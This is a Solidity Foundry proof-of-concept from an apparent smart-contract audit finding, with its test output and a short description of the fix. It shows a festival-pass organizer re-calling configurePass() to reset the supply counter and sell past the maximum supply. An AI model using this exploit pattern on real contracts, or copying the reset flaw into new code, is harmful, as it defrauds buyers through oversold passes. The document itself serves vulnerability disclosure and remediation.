pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
* @title Supply Counter Reset Vulnerability PoC
* @dev Demonstrates how organizer can exploit configurePass() to reset supply counters
* and sell unlimited passes, extracting unlimited ETH from the protocol
*
* ATTACK VECTOR:
* 1. Organizer sells passes until maxSupply reached
* 2. Organizer calls configurePass() again with same parameters
* 3. Supply counter resets to 0 while maxSupply unchanged
* 4. Organizer can now sell maxSupply MORE passes
* 5. Repeat indefinitely for unlimited ETH extraction
*/
contract SupplyResetExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public victim1;
address public victim2;
address public victim3;
address public victim4;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 2;
uint256 constant VIP_PASS = 2;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
victim1 = makeAddr("victim1");
victim2 = makeAddr("victim2");
victim3 = makeAddr("victim3");
victim4 = makeAddr("victim4");
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
vm.deal(victim1, 1 ether);
vm.deal(victim2, 1 ether);
vm.deal(victim3, 1 ether);
vm.deal(victim4, 1 ether);
}
function testSupplyResetExploit() public {
console.log("=== SUPPLY COUNTER RESET VULNERABILITY EXPLOIT ===\n");
console.log("STEP 1: Normal sales to max supply");
console.log("Max Supply:", VIP_MAX_SUPPLY);
console.log("Current Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim1);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After victim1 purchase - Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim2);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After victim2 purchase - Supply:", festivalPass.passSupply(VIP_PASS));
console.log("Contract Balance:", address(festivalPass).balance);
vm.prank(victim3);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log(" Max supply protection working - victim3 rejected\n");
console.log("STEP 2: EXPLOIT - Organizer calls configurePass() again");
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
console.log("After configurePass call:");
console.log("Supply counter:", festivalPass.passSupply(VIP_PASS), "(RESET TO 0!)");
console.log("Max Supply:", festivalPass.passMaxSupply(VIP_PASS), "(unchanged)");
console.log("\nSTEP 3: Now selling beyond original max supply");
vm.prank(victim3);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("Victim3 successfully bought pass - Supply:", festivalPass.passSupply(VIP_PASS));
vm.prank(victim4);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("Victim4 successfully bought pass - Supply:", festivalPass.passSupply(VIP_PASS));
console.log("\n=== EXPLOIT RESULTS ===");
uint256 expectedRevenue = VIP_MAX_SUPPLY * VIP_PRICE;
uint256 actualRevenue = address(festivalPass).balance;
uint256 stolenFunds = actualRevenue - expectedRevenue;
console.log("Expected max revenue:", expectedRevenue);
console.log("Actual revenue:", actualRevenue);
console.log("Stolen funds:", stolenFunds);
uint256 totalPasses = festivalPass.balanceOf(victim1, VIP_PASS) +
festivalPass.balanceOf(victim2, VIP_PASS) +
festivalPass.balanceOf(victim3, VIP_PASS) +
festivalPass.balanceOf(victim4, VIP_PASS);
console.log("Passes in circulation:", totalPasses);
console.log("(should be max:", VIP_MAX_SUPPLY, ")");
assertEq(actualRevenue, expectedRevenue * 2, "Double the intended revenue extracted");
assertEq(totalPasses, VIP_MAX_SUPPLY * 2, "Double the intended passes minted");
console.log("Supply counter shows 'normal' but more passes exist");
}
function testUnlimitedRepeatedExploit() public {
console.log("=== DEMONSTRATING UNLIMITED NATURE ===\n");
uint256 rounds = 5;
address[] memory victims = new address[](rounds * VIP_MAX_SUPPLY);
for (uint256 i = 0; i < victims.length; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
vm.deal(victims[i], 1 ether);
}
uint256 victimIndex = 0;
for (uint256 round = 0; round < rounds; round++) {
console.log("--- Round", round + 1, "---");
for (uint256 i = 0; i < VIP_MAX_SUPPLY; i++) {
vm.prank(victims[victimIndex]);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
victimIndex++;
}
console.log("Sold", VIP_MAX_SUPPLY, "passes, supply counter:", festivalPass.passSupply(VIP_PASS));
console.log("Contract balance:", address(festivalPass).balance);
if (round < rounds - 1) {
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
console.log("Supply reset to:", festivalPass.passSupply(VIP_PASS));
}
}
uint256 expectedTotalRevenue = VIP_MAX_SUPPLY * VIP_PRICE;
uint256 actualTotalRevenue = address(festivalPass).balance;
console.log("\n=== FINAL DAMAGE ===");
console.log("Legitimate revenue (1 round):", expectedTotalRevenue);
console.log("Actual revenue extracted:", actualTotalRevenue);
console.log("Multiplier:", actualTotalRevenue / expectedTotalRevenue);
assertEq(actualTotalRevenue, rounds * expectedTotalRevenue, "Revenue scales with exploit rounds");
}
}
forge test --match-contract SupplyResetExploitPoC -vv
[⠰] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 437.07ms
Compiler run successful!
Ran 2 tests for test/SupplyResetExploit.t.sol:SupplyResetExploitPoC
[PASS] testSupplyResetExploit() (gas: 392382)
Logs:
=== SUPPLY COUNTER RESET VULNERABILITY EXPLOIT ===
STEP 1: Normal sales to max supply
Max Supply: 2
Current Supply: 0
After victim1 purchase - Supply: 1
After victim2 purchase - Supply: 2
Contract Balance: 200000000000000000
Max supply protection working - victim3 rejected
STEP 2: EXPLOIT - Organizer calls configurePass() again
After configurePass call:
Supply counter: 0 (RESET TO 0!)
Max Supply: 2 (unchanged)
STEP 3: Now selling beyond original max supply
Victim3 successfully bought pass - Supply: 1
Victim4 successfully bought pass - Supply: 2
=== EXPLOIT RESULTS ===
Expected max revenue: 200000000000000000
Actual revenue: 400000000000000000
Stolen funds: 200000000000000000
Passes in circulation: 4
(should be max: 2 )
Supply counter shows 'normal' but more passes exist
[PASS] testUnlimitedRepeatedExploit() (gas: 807179)
Logs:
=== DEMONSTRATING UNLIMITED NATURE ===
--- Round 1 ---
Sold 2 passes, supply counter: 2
Contract balance: 200000000000000000
Supply reset to: 0
--- Round 2 ---
Sold 2 passes, supply counter: 2
Contract balance: 400000000000000000
Supply reset to: 0
--- Round 3 ---
Sold 2 passes, supply counter: 2
Contract balance: 600000000000000000
Supply reset to: 0
--- Round 4 ---
Sold 2 passes, supply counter: 2
Contract balance: 800000000000000000
Supply reset to: 0
--- Round 5 ---
Sold 2 passes, supply counter: 2
Contract balance: 1000000000000000000
=== FINAL DAMAGE ===
Legitimate revenue (1 round): 200000000000000000
Actual revenue extracted: 1000000000000000000
Multiplier: 5
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.04ms (2.89ms CPU time)
Ran 1 test suite in 39.84ms (6.04ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
The fix removes the unconditional supply counter reset that enables the vulnerability. The added validation ensures that if the organizer needs to adjust the maximum supply, they can only increase it (not decrease it below already-minted passes), maintaining supply tracking integrity. This preserves the intended tokenomics while allowing legitimate administrative adjustments to pricing and supply expansion when needed.